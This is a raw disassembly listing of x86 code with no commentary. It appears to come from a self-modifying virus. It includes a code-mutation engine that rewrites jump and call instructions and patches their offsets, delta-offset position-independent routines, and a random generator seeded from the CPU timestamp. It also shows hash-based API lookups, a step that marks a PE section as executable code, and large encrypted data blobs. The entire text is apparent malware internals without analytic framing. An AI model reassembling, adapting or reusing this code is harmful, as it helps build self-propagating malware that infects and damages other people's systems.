; ---------------------------------------------------------------------------


loc_5C3265:				; CODE XREF: sub_5C310E+14Bj
		mov	byte ptr [edi],	0E9h
		mov	dword ptr [edi+1], 0
		mov	eax, edi
		add	eax, 5
		jmp	loc_5C3310
; ---------------------------------------------------------------------------


loc_5C3279:				; CODE XREF: sub_5C310E+153j
		mov	word ptr [edi],	80Fh
		mov	bl, [esi]
		and	bl, 0Fh
		or	bl, 80h
		mov	[edi+1], bl
		mov	dword ptr [edi+2], 0
		mov	eax, edi
		add	eax, 6
		jmp	short loc_5C3310
; ---------------------------------------------------------------------------


loc_5C3297:				; CODE XREF: sub_5C310E+155j
		cmp	word ptr [esi],	9090h
		jz	short loc_5C32AD
		cmp	byte ptr [esi],	90h
		jnz	short loc_5C32B1
		cmp	word ptr [esi-1], 9090h
		jz	short loc_5C32AD
		jmp	short loc_5C32B1
; ---------------------------------------------------------------------------


loc_5C32AD:				; CODE XREF: sub_5C310E+18Ej
					; sub_5C310E+19Bj
		mov	eax, edi
		jmp	short loc_5C3310
; ---------------------------------------------------------------------------


loc_5C32B1:				; CODE XREF: sub_5C310E+193j
					; sub_5C310E+19Dj
		lea	eax, [edx+5D68E20h]
		push	eax
		push	esi
		call	dword ptr [edx+5D68DD8h]
		or	eax, eax
		jz	short loc_5C32CD
		mov	ecx, eax
		lea	esi, [edx+5D68E20h]
		jmp	short loc_5C32DD
; ---------------------------------------------------------------------------


loc_5C32CD:				; CODE XREF: sub_5C310E+1B3j
		push	esi
		mov	ecx, esi
		push	ebp
		call	dword ptr [edx+5D68DD4h]
		pop	ebp
		sub	ecx, esi
		neg	ecx
		pop	esi


loc_5C32DD:				; CODE XREF: sub_5C310E+1BDj
		cmp	[ebp+var_8], 1
		jnz	short loc_5C32F3
		mov	al, 49h
		stosb
		mov	ax, 850Fh
		stosw
		movzx	eax, byte ptr [esi+1]
		stosd
		jmp	short loc_5C330E
; ---------------------------------------------------------------------------


loc_5C32F3:				; CODE XREF: sub_5C310E+1D3j
		cmp	[ebp+var_8], 2
		jnz	short loc_5C330C
		mov	ax, 0C90Bh
		stosw
		mov	ax, 840Fh
		stosw
		movzx	eax, byte ptr [esi+1]
		stosd
		jmp	short loc_5C330E
; ---------------------------------------------------------------------------


loc_5C330C:				; CODE XREF: sub_5C310E+1E9j
		rep movsb


loc_5C330E:				; CODE XREF: sub_5C310E+1E3j
					; sub_5C310E+1FCj
		mov	eax, edi


loc_5C3310:				; CODE XREF: sub_5C310E+13Dj
					; sub_5C310E+166j ...
		pop	ebx
		pop	ecx
		pop	esi
		pop	edi
		leave
		retn	8
sub_5C310E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D694F9h
		mov	eax, [ebp+8]
		mov	[edx+5D68DCCh],	eax
		popa
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C3336	proc near		; CODE XREF: ud2_____:loc_5C3099p
					; ud2_____:005C30ABp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D6951Ah
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		xor	eax, eax
		mov	bx, [esi]
		mov	dword ptr [edx+5D68E04h], 1
		cmp	bx, 9090h
		jnz	short $+2
		cmp	bl, 0E8h
		jz	loc_5C347E
		inc	eax
		cmp	bl, 0E9h
		jz	loc_5C347E
		inc	eax
		cmp	bl, 0EBh
		jz	loc_5C347E
		inc	eax
		and	bh, 0F0h
		cmp	bx, 800Fh
		jz	loc_5C347E
		add	eax, [edx+5D1205Dh]
		inc	eax
		cmp	bl, 0E2h
		jz	loc_5C3477
		cmp	bl, 0E3h
		jz	loc_5C346E
		cmp	bx, 0E367h
		jz	loc_5C3477
		and	bl, 0F0h
		cmp	bl, 70h
		jz	loc_5C347E
		mov	bx, [esi]
		and	bl, 0F8h
		cmp	bl, 0B8h
		jz	short loc_5C341B
		cmp	byte ptr [esi],	5
		jz	short loc_5C341B
		cmp	byte ptr [esi],	2Dh
		jz	short loc_5C341B
		cmp	byte ptr [esi],	68h
		jz	short loc_5C341B
		inc	eax
		inc	dword ptr [edx+5D68E04h]
		mov	bx, [esi]
		and	bh, 0F8h
		cmp	bx, 0E881h
		jz	short loc_5C341B
		mov	bx, [esi]
		and	bh, 0F0h
		cmp	bx, 0C081h
		jz	short loc_5C341B
		pusha
		push	ebp
		call	dword ptr [edx+5D68DD4h]
		pop	ebp
		mov	[ebp+var_4], eax
		popa
		cmp	[ebp+var_4], 1
		jnz	loc_5C3543


loc_5C341B:				; CODE XREF: sub_5C3336+9Cj
					; sub_5C3336+A1j ...
		mov	edi, [edx+5D11EA9h]
		push	eax
		mov	eax, [edx+5D68E04h]
		cmp	[eax+esi], edi
		pop	eax
		jb	loc_5C3543
		mov	edi, [edx+5D11DC1h]
		push	eax
		mov	eax, [edx+5D68E04h]
		cmp	[eax+esi], edi
		pop	eax
		jg	loc_5C3543
		mov	edi, [edx+5D68DC8h]
		add	dword ptr [edx+5D68DC8h], 14h
		mov	[edi], esi
		mov	[edi+10h], eax
		push	eax
		mov	eax, [edx+5D68E04h]
		mov	ebx, [eax+esi]
		pop	eax
		mov	[edi+8], ebx
		jmp	loc_5C3543
; ---------------------------------------------------------------------------


loc_5C346E:				; CODE XREF: sub_5C3336+76j
		mov	[ebp+var_8], 2
		jmp	short loc_5C347E
; ---------------------------------------------------------------------------


loc_5C3477:				; CODE XREF: sub_5C3336+6Dj
					; sub_5C3336+81j
		mov	[ebp+var_8], 1


loc_5C347E:				; CODE XREF: sub_5C3336+3Aj
					; sub_5C3336+44j ...
		mov	edi, [edx+5D68DC8h]
		add	dword ptr [edx+5D68DC8h], 14h
		mov	[edi], esi
		mov	[edi+10h], eax
		cmp	eax, 3
		jnz	short loc_5C34A1
		mov	dword ptr [edx+5D68E04h], 2
		jmp	short loc_5C34A6
; ---------------------------------------------------------------------------


loc_5C34A1:				; CODE XREF: sub_5C3336+15Dj
		cmp	eax, 2
		jge	short loc_5C3505


loc_5C34A6:				; CODE XREF: sub_5C3336+169j
		cmp	[ebp+var_8], 0
		jz	short loc_5C34C7
		movzx	eax, byte ptr [esi+1]
		test	eax, 80h
		jnz	short loc_5C34BD
		inc	eax
		sub	eax, 5
		jmp	short loc_5C34C5
; ---------------------------------------------------------------------------


loc_5C34BD:				; CODE XREF: sub_5C3336+17Fj
		sub	eax, 0FFh
		sub	eax, 5


loc_5C34C5:				; CODE XREF: sub_5C3336+185j
		jmp	short loc_5C34D2
; ---------------------------------------------------------------------------


loc_5C34C7:				; CODE XREF: sub_5C3336+174j
		push	ebx
		mov	ebx, [edx+5D68E04h]
		mov	eax, [ebx+esi]
		pop	ebx


loc_5C34D2:				; CODE XREF: sub_5C3336:loc_5C34C5j
		test	eax, 80000000h
		jnz	short loc_5C34ED
		add	eax, esi
		add	eax, 5
		add	eax, [edx+5D68E04h]
		dec	eax
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		jmp	short loc_5C3543
; ---------------------------------------------------------------------------


loc_5C34ED:				; CODE XREF: sub_5C3336+1A1j
		neg	eax
		sub	eax, esi
		neg	eax
		add	eax, 5
		add	eax, [edx+5D68E04h]
		dec	eax
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		jmp	short loc_5C3543
; ---------------------------------------------------------------------------


loc_5C3505:				; CODE XREF: sub_5C3336+16Ej
		xor	eax, eax
		mov	al, [esi+1]
		test	al, 80h
		jnz	short loc_5C352F
		add	eax, esi
		add	eax, 2
		mov	ebx, 0
		or	ebx, ebx
		jz	short loc_5C3525
		mov	bl, ds:byte_59C10C[edx]
		and	bl, 1


loc_5C3525:				; CODE XREF: sub_5C3336+1E4j
		add	eax, ebx
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		jmp	short loc_5C3543
; ---------------------------------------------------------------------------


loc_5C352F:				; CODE XREF: sub_5C3336+1D6j
		neg	eax
		and	eax, 0FFh
		sub	eax, esi
		neg	eax
		add	eax, 2
		mov	[edi+8], eax
		mov	[edi+0Ch], eax


loc_5C3543:				; CODE XREF: sub_5C3336+DFj
					; sub_5C3336+F6j ...
		clc
		popa
		leave
		retn
sub_5C3336	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D6972Bh
		mov	edi, [edx+5D68DC4h]
		xor	ecx, ecx


loc_5C3562:				; CODE XREF: ud2_____:005C357Ej
		cmp	dword ptr [edi], 0
		jz	loc_5C362D
		mov	eax, [edi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_5C36EC
		jnb	short loc_5C3580
		add	edi, 14h
		jmp	short loc_5C3562
; ---------------------------------------------------------------------------


loc_5C3580:				; CODE XREF: ud2_____:005C3579j
		mov	[ebp-4], eax


loc_5C3583:				; CODE XREF: ud2_____:005C35BEj
					; ud2_____:005C3628j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	dword ptr [edi]
		call	sub_5C36EC
		jb	loc_5C362D
		mov	eax, [ebp-4]
		cmp	[edi], eax
		jb	loc_5C362D
		inc	dword ptr [ebp-4]
		cmp	dword ptr [edi+4], 0
		jz	short loc_5C35B2
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_5C35B2
		jmp	short loc_5C35C0
; ---------------------------------------------------------------------------


loc_5C35B2:				; CODE XREF: ud2_____:005C35A8j
					; ud2_____:005C35AEj
		mov	eax, 0FFFFFFFFh
		mov	ecx, 5
		rep stosd
		jmp	short loc_5C3583
; ---------------------------------------------------------------------------


loc_5C35C0:				; CODE XREF: ud2_____:005C35B0j
		cmp	dword ptr [edi+10h], 5
		jz	short loc_5C35D5
		cmp	dword ptr [edi+10h], 6
		jnz	short loc_5C35DD
		inc	ecx
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C3618
; ---------------------------------------------------------------------------


loc_5C35D5:				; CODE XREF: ud2_____:005C35C4j
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C3616
; ---------------------------------------------------------------------------


loc_5C35DD:				; CODE XREF: ud2_____:005C35CAj
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		cmp	ebx, [edi+8]
		jnz	short loc_5C35FD
		push	edx
		mov	edx, [edi+4]
		sub	edx, [ebp+10h]
		add	edx, [ebp+14h]
		mov	ebx, [edi+0Ch]
		sub	ebx, edx
		sub	ebx, 5
		pop	edx
		jmp	short loc_5C360F
; ---------------------------------------------------------------------------


loc_5C35FD:				; CODE XREF: ud2_____:005C35E6j
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		sub	ebx, [edi+4]
		sub	ebx, 5
		add	ecx, [edx+5D100ADh]


loc_5C360F:				; CODE XREF: ud2_____:005C35FBj
		cmp	dword ptr [edi+10h], 3
		jnz	short loc_5C3616
		inc	ecx


loc_5C3616:				; CODE XREF: ud2_____:005C35DBj
					; ud2_____:005C3613j
		sub	ebx, ecx


loc_5C3618:				; CODE XREF: ud2_____:005C35D3j
		mov	[ecx+eax+1], ebx
		mov	eax, 0FFFFFFFFh
		mov	ecx, 5
		rep stosd
		jmp	loc_5C3583
; ---------------------------------------------------------------------------


loc_5C362D:				; CODE XREF: ud2_____:005C3565j
					; ud2_____:005C3590j ...
		popa
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D69816h
		mov	edi, [edx+5D68DC4h]
		xor	ecx, ecx


loc_5C364D:				; CODE XREF: ud2_____:005C3669j
		cmp	dword ptr [edi], 0
		jz	loc_5C36E7
		mov	eax, [edi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_5C36EC
		jnb	short loc_5C366B
		add	edi, 14h
		jmp	short loc_5C364D
; ---------------------------------------------------------------------------


loc_5C366B:				; CODE XREF: ud2_____:005C3664j
		mov	[ebp-4], eax


loc_5C366E:				; CODE XREF: ud2_____:005C36A1j
					; ud2_____:005C36E5j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	dword ptr [edi]
		call	sub_5C36EC
		jb	short loc_5C36E7
		mov	eax, [ebp-4]
		cmp	[edi], eax
		jb	short loc_5C36E7
		inc	dword ptr [ebp-4]
		cmp	dword ptr [edi+4], 0
		jz	short loc_5C3695
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_5C3695
		jmp	short loc_5C36A3
; ---------------------------------------------------------------------------


loc_5C3695:				; CODE XREF: ud2_____:005C368Bj
					; ud2_____:005C3691j
		mov	eax, 0FFFFFFFFh
		mov	ecx, 5
		rep stosd
		jmp	short loc_5C366E
; ---------------------------------------------------------------------------


loc_5C36A3:				; CODE XREF: ud2_____:005C3693j
		cmp	dword ptr [edi+10h], 5
		jz	short loc_5C36B8
		cmp	dword ptr [edi+10h], 6
		jnz	short loc_5C36C0
		inc	ecx
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C36D5
; ---------------------------------------------------------------------------


loc_5C36B8:				; CODE XREF: ud2_____:005C36A7j
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C36D3
; ---------------------------------------------------------------------------


loc_5C36C0:				; CODE XREF: ud2_____:005C36ADj
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		sub	ebx, [edi+4]
		sub	ebx, 5
		cmp	dword ptr [edi+10h], 3
		jnz	short loc_5C36D3
		inc	ecx


loc_5C36D3:				; CODE XREF: ud2_____:005C36BEj
					; ud2_____:005C36D0j
		sub	ebx, ecx


loc_5C36D5:				; CODE XREF: ud2_____:005C36B6j
		mov	[ecx+eax+1], ebx
		mov	eax, 0FFFFFFFFh
		mov	ecx, 5
		rep stosd
		jmp	short loc_5C366E
; ---------------------------------------------------------------------------


loc_5C36E7:				; CODE XREF: ud2_____:005C3650j
					; ud2_____:005C367Bj ...
		popa
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C36EC	proc near		; CODE XREF: ud2_____:005C3574p
					; ud2_____:005C358Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jb	short loc_5C3700
		cmp	eax, [ebp+arg_8]
		ja	short loc_5C3700
		clc
		jmp	short loc_5C3703
; ---------------------------------------------------------------------------


loc_5C3700:				; CODE XREF: sub_5C36EC+Aj
					; sub_5C36EC+Fj
		stc
		jmp	short $+2


loc_5C3703:				; CODE XREF: sub_5C36EC+12j
		popa
		leave
		retn	0Ch
sub_5C36EC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D698ECh
		xor	ecx, ecx
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	edi, [edx+5D68DC4h]


loc_5C3728:				; CODE XREF: ud2_____:005C3735j
					; ud2_____:005C374Bj ...
		cmp	dword ptr [edi], 0
		jz	short loc_5C3791
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_5C3737
		add	edi, 14h
		jmp	short loc_5C3728
; ---------------------------------------------------------------------------


loc_5C3737:				; CODE XREF: ud2_____:005C3730j
		cmp	dword ptr [edi+4], 0
		jz	short loc_5C3745
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_5C3745
		jmp	short loc_5C374D
; ---------------------------------------------------------------------------


loc_5C3745:				; CODE XREF: ud2_____:005C373Bj
					; ud2_____:005C3741j
		inc	dword ptr [ebp-4]
		add	edi, 14h
		jmp	short loc_5C3728
; ---------------------------------------------------------------------------


loc_5C374D:				; CODE XREF: ud2_____:005C3743j
		cmp	dword ptr [edi+10h], 5
		jz	short loc_5C3762
		cmp	dword ptr [edi+10h], 6
		jnz	short loc_5C376A
		inc	ecx
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C377F
; ---------------------------------------------------------------------------


loc_5C3762:				; CODE XREF: ud2_____:005C3751j
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		jmp	short loc_5C377D
; ---------------------------------------------------------------------------


loc_5C376A:				; CODE XREF: ud2_____:005C3757j
		mov	eax, [edi+4]
		mov	ebx, [edi+0Ch]
		sub	ebx, [edi+4]
		sub	ebx, 5
		cmp	dword ptr [edi+10h], 3
		jnz	short loc_5C377D
		inc	ecx


loc_5C377D:				; CODE XREF: ud2_____:005C3768j
					; ud2_____:005C377Aj
		sub	ebx, ecx


loc_5C377F:				; CODE XREF: ud2_____:005C3760j
		mov	[ecx+eax+1], ebx
		mov	eax, 0FFFFFFFFh
		mov	ecx, 5
		rep stosd
		jmp	short loc_5C3728
; ---------------------------------------------------------------------------


loc_5C3791:				; CODE XREF: ud2_____:005C372Bj
		popa
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5C3797	proc near		; CODE XREF: ud2_____:005C30F5p
		push	eax
		push	ecx
		push	ebx
		call	$+5
		pop	edx
		sub	edx, 5D69977h
		lea	ebx, [edx+5D68DDCh]
		mov	eax, 64h
		call	sub_5C3888
		mov	ecx, [ebx]
		cmp	eax, ecx
		jmp	short loc_5C37D0
; ---------------------------------------------------------------------------
		add	ecx, [ebx+4]
		cmp	eax, ecx
		jb	short loc_5C37DA
		add	ecx, [ebx+10h]
		cmp	eax, ecx
		jb	short loc_5C37CC
		jmp	short loc_5C37CE
; ---------------------------------------------------------------------------


loc_5C37CC:				; CODE XREF: sub_5C3797+31j
		jmp	short loc_5C37E2
; ---------------------------------------------------------------------------


loc_5C37CE:				; CODE XREF: sub_5C3797+33j
		jmp	short loc_5C37E2
; ---------------------------------------------------------------------------


loc_5C37D0:				; CODE XREF: sub_5C3797+23j
		lea	ebx, (loc_590E44+4)[edx]
		call	ebx	; WideCharToMultiByte
		jmp	short loc_5C37E2
; ---------------------------------------------------------------------------


loc_5C37DA:				; CODE XREF: sub_5C3797+2Aj
		lea	ebx, [edx+59116Eh]
		call	ebx	; WideCharToMultiByte


loc_5C37E2:				; CODE XREF: sub_5C3797:loc_5C37CCj
					; sub_5C3797:loc_5C37CEj ...
		pop	ebx
		pop	ecx
		pop	eax
		retn
sub_5C3797	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	edx
		sub	edx, 5D699C6h
		pusha
		lea	edi, [edx+5D68DDCh]
		mov	eax, [ebp+8]
		mov	[edi], eax
		mov	eax, [ebp+0Ch]
		mov	[edi+4], eax
		mov	eax, [ebp+10h]
		mov	[edi+0Ch], eax
		mov	eax, [ebp+14h]
		mov	[edi+10h], eax
		popa
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_5C3818	proc near		; CODE XREF: ud2_____:005C2EC5p
		pusha
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0A817731Ah
		push	dword ptr [ebp+5D124FDh]
		lea	eax, [ebp+5D45CA1h]
		call	eax
		push	edx
		lea	ecx, [edx+5D68E08h]
		push	ecx
		call	eax
		pop	edx
		lea	eax, [edx+5D68E08h]
		movzx	eax, word ptr [eax+0Ch]
		mov	ebx, eax
		push	edx
		rdtsc
		pop	edx
		add	eax, ebx
		mov	[edx+5D121BDh],	eax
		popa
		retn
sub_5C3818	endp


; =============== S U B	R O U T	I N E =======================================



sub_5C3858	proc near		; CODE XREF: sub_5C3888+10p
		push	ecx
		push	edx
		call	$+5
		pop	edx
		sub	edx, 5D69A37h
		push	edx
		mov	eax, [edx+5D121BDh]
		mov	ecx, 41C64E6Dh
		mul	ecx
		pop	edx
		add	eax, 3039h
		and	eax, 7FFFFFFFh
		mov	[edx+5D121BDh],	eax
		pop	edx
		pop	ecx
		retn
sub_5C3858	endp


; =============== S U B	R O U T	I N E =======================================



sub_5C3888	proc near		; CODE XREF: sub_5C3797+1Ap
		push	ecx
		push	edx
		call	$+5
		pop	edx
		sub	edx, 5D69A67h
		mov	ecx, eax
		call	sub_5C3858
		xor	edx, edx
		div	ecx
		mov	eax, edx
		pop	edx
		pop	ecx
		retn
sub_5C3888	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		lea	eax, [ebp+5D69078h]
		call	eax
		mov	ax, cx
		lea	eax, [ebp+5D69A30h]
		mov	[ebp+5D10FDDh],	eax
		lea	eax, [ebp+5D69A60h]
		mov	[ebp+5D113C5h],	eax
		mov	eax, 0
		or	eax, eax
		jz	loc_5C3921
		mov	byte ptr [ebp+5D124D9h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+5D124FDh]
		lea	eax, [ebp+5D45CA1h]
		call	eax
		push	eax
		lea	ecx, [ebp+5D12169h]
		push	ecx
		push	4
		push	1000h
		push	dword ptr [ebp+5D11079h]
		call	eax
		mov	edi, [ebp+5D11079h]
		add	edi, [edi+3Ch]
		add	edi, 0F8h
		mov	dword ptr [edi+24h], 60000020h


loc_5C3921:				; CODE XREF: ud2_____:005C38D4j
		lea	ebx, [ebp+5D10BB5h]
		mov	eax, [ebx]
		or	eax, eax
		jz	loc_5C3936
		mov	eax, [eax]
		mov	[ebx+4], eax


loc_5C3936:				; CODE XREF: ud2_____:005C392Bj
		mov	ecx, 234CF6h
		jmp	short loc_5C3945
; ---------------------------------------------------------------------------
		align 10h
		dd 0CAE44700h
; ---------------------------------------------------------------------------
		dec	edi


loc_5C3945:				; CODE XREF: ud2_____:005C393Bj
		jmp	loc_5C3E72
; ---------------------------------------------------------------------------
		push	5D69C43h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D69CE5h
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		push	5D69E4Ah
		jmp	loc_571A63
; ---------------------------------------------------------------------------
		dd 4D6EFD05h, 0A4071866h, 9C1F2E49h, 0F23548B1h, 0ECCF629Bh
		dd 0EB104A11h, 0FE7E5556h, 1C674E69h, 3943AA0Dh, 2AFB8526h
		dd 0D7E97667h, 6EC61166h, 5EEF0A19h, 0E885FEA5h, 48E31904h
		dd 0BF336D6Fh, 0A4B3E7AAh, 7954727Fh, 2A996803h, 727FA529h
		dd 26CEFCAEh, 7FA4769Bh, 3546BC72h, 1ACC2B39h, 7C90880Eh
		dd 0BFB7C631h, 568F56E8h, 8D5F1728h, 9154F2DFh,	7CAB3C52h
		dd 347394Bh, 0F63D0000h, 5D510FC4h, 8481FD8Ch, 0CB0B8A31h
		dd 0C7EEEFA2h, 3B696CADh, 47636A15h, 0C0727EEDh, 0C9986392h
		dd 7EECD9FAh, 732C7E72h, 0E4530088h, 8905436Fh,	595DD5F8h
		dd 0A8FA75B5h, 5A5830C4h, 9E35C497h, 75B5587Dh,	0BDCC371Ah
		dd 0C6D7FA8Fh, 4175B558h, 0BE656013h, 597B8690h
; ---------------------------------------------------------------------------


loc_5C3A40:				; DATA XREF: ___:off_42DE00o
		sub	[ebp+78h], ah


loc_5C3A43:				; DATA XREF: ___:off_43AEF0o
		nop


loc_5C3A44:				; DATA XREF: ___:off_43AEE8o
		xchg	bh, [ebx+1Fh]
		dec	ebp
		lahf
		retf	1D67h
; ---------------------------------------------------------------------------
		dd 0C9077F02h, 28774513h, 0DCEBCCF7h, 6D162551h, 28A3BCC6h
		dd 0E0708728h, 5D9AC361h, 6000003h, 634A6DFAh, 4AA17A15h
		dd 0B299122Bh, 0A48F2845h, 12E9C25Fh, 55E81D4Dh, 6CFB7B52h
		dd 19604Bh, 25364CA7h, 602FFE82h, 66D7E973h, 1969C314h
		dd 855A7B56h, 0AFFD6CAEh, 0A88C0F4h, 0FC19B447h, 366CAE84h
		dd 2FBDB1C6h, 0FF43F9ABh, 0B5A08BA1h, 0D7666112h, 600C1D58h
		dd 33E17C85h, 2EA98500h, 50DF7284h, 8F5D112Ah, 0A3B6E4D4h
		dd 811A374Ch, 303C51AAh, 842F6375h, 4F421572h, 72842F4Eh
		dd 0BDF89BC9h, 440BC47h, 45BA3B80h, 4FC19B4h, 0C99B7284h
		dd 0A0AAA01Bh, 5DF7E973h, 2BB0Ch, 0C358A000h, 0D8738DE8h
		dd 0F089F4DFh, 8EA3DC37h, 0A0BDC62Dh, 0BFEFBC07h, 0A5F02B46h
		dd 82E9C259h, 0EEC5E677h, 8020FB94h, 0E8D1C2C1h, 0A17666D7h
		dd 1742C8Bh, 0A0B167F6h, 84A1B211h, 74266CAEh, 7ABD86CEh
		dd 0F3048DCh, 0FD595578h, 0ACFE7284h, 0FCD4C5C0h, 0CC7A7284h
		dd 3E5E8419h, 0B9FF425Ah, 0B5C9520Dh, 0B24B77A8h, 1B5h
		dd 2C3F45B6h, 8C9FE540h, 0D7669C2Bh, 0A8109532h, 458EFF26h
		dd 3B58AF1Fh, 0A61C7418h, 0BA4CFCD3h, 99CB727Eh, 0B9C7C8D5h
		dd 0C149727Eh, 0D9D1ED26h, 54DB4B7Dh, 404F122Fh, 727EC253h
		dd 0E7FDA6F4h, 3Eh, 7E742C7Bh, 9750246Bh, 0A5F7727Fh, 96CBCCC9h
		dd 9BE1727Fh, 0FB01EC80h, 974F4C43h, 9AC8727Fh,	189F8F4h
		dd 0BED12FE6h, 5E890188h, 7D0E74FBh, 6FC8EB71h,	4B7CF84Fh
		dd 0BC54h, 3F45C800h, 0A0E5402Ch, 0FE04E18Dh, 8699E34Eh
		dd 84917CEEh, 36CAE84h,	100D8051h, 0B76CAE85h, 932237E5h
		dd 0AE851F3Ch, 0C9EAB86Ch, 0A3BCC623h, 0A2553DEh, 0DEDF805Ah
		dd 0AE8A2057h, 5FF00A6Ch, 0C35EA78Ah, 5A051262h, 413D1B59h
		dd 735EE1B0h, 6CAE8A62h, 899CB914h, 693B6CAEh, 0BD183B69h
		dd 728228D6h, 0D35E2371h, 391497AAh, 162EA9C4h,	7FE9757Ch
		dd 15694D5h, 0F30F0000h, 0E684364h, 2453BA7Dh, 3EBB9215h
		dd 58AD8823h, 541BE2C5h, 6B4CE11Ah, 4467F400h, 0A07B1269h
		dd 9B1C2F55h, 6C6924E5h, 0EB66D7E7h, 4045703Ch,	70FF8A2Dh
		dd 50ED0A06h, 6718C2A2h, 72B5C63Ch, 2C3F451Ah, 0C95DB940h
		dd 175DD959h, 0ACA9E4F5h, 2B6CAE67h, 0A5DF4679h, 0F553118Ah
		dd 0AFECBF71h, 8EBCC70Ah, 730874FBh, 0BEB6C732h, 0A574732Ch
		dd 30E3EAB9h, 0BD66D7FEh, 7F94FE56h, 5439972h, 0CBB481E0h
		dd 0F67D0C32h, 7C37F08Dh, 7280665Bh, 97102B51h,	0BA0947BCh
		dd 72806599h, 0B6BE6C3Eh, 42DF1817h, 0AA7691h, 88670000h
		dd 5715D972h, 5B76A329h, 0FCA7D08Bh, 1742CB0h, 0D28864F7h
		dd 78A5D2Ch, 6CAE8516h,	3542E3B1h, 0ED965418h, 9DE44B1Ah
		dd 597AE08Ch, 85207672h, 0A3431172h, 88233C46h,	1B5285F1h
		dd 0E14D96C0h, 79E3839Ah, 778DA84Bh, 0C08D08E4h, 0AFBCA0D3h
		dd 0ADD70ED9h, 1660CF92h, 0C0F36905h, 2A55D8EFh, 0D6895313h
		dd 571A354Fh, 0FEED32Fh, 5C07AD93h, 638DE990h, 4107C3ECh
		dd 0B4CD680Bh, 6AFCD599h, 6F007ABBh, 0C7363D4Ch, 12CBEB6h
		dd 0F3BA65F8h, 0DDFED589h, 7ABCA134h, 736A7A28h, 8, 0D9748D60h
		dd 190B7E26h, 462E3D45h, 0E68EA1DBh, 8569007Bh,	27CF5C98h
		dd 0C0ACC13Ah, 610D2065h, 0EE67B84h, 0A945D423h, 5519324Ch
		dd 43E68B2h, 0C890000h,	5E696824h, 34890000h, 38F76824h
		dd 0C890000h, 59685024h, 58242D4Fh, 154FFC2Dh, 155F3523h
		dd 0D8F723C9h, 4A7ABE2Dh, 585E50D7h, 240C8B54h,	4C481h
		dd 0EC810000h, 4, 8F243489h, 0C8B0841h,	0E1895124h, 4C181h
		dd 0C1810000h, 4, 5C240C87h, 5124348Bh,	0C181E189h, 4
		dd 4C181h, 0C870000h, 0FCE95C24h, 83FFFADBh, 8C11E455h
		dd 1D4FCF93h
; ---------------------------------------------------------------------------
		mov	dl, 0B8h


loc_5C3E72:				; CODE XREF: ud2_____:loc_5C3945j
		mov	eax, 5D69FC5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0AFh
		dd 3C757427h, 0B0705CDAh, 0C244CEDDh, 6749AB8Bh, 0CC1BF858h
		dd 0B002A3C2h, 0B26076ADh, 0E87CF0FBh, 9, 0BF8BF90h, 0F5F955B6h
		dd 0CA7DB91Fh, 0B05F6F3Ch, 0D3C781F1h, 0E900006Ah, 6, 1EA4B554h
		dd 2DBE1263h, 8134B9CBh, 464F51C6h, 178BF9CBh, 81DF8B66h
		dd 2187E2EAh, 0DB81665Bh, 0F2810511h, 702A9807h, 19860Fh
		dd 14E90000h, 7E000000h, 0A1BD06BFh, 0F552AAD3h, 79DA8DBAh
		dd 427D973h, 817873C2h,	351CF2F2h, 0CE937h, 0EF0C0000h
		dd 357B6012h, 0EA1D77BFh, 0E952A5D3h, 12h, 53BDD876h, 27EEB391h
		dd 0DB4E7183h, 4CEBDD8Ch, 78FA62Ah, 0CEB70F53h,	3EF8358h
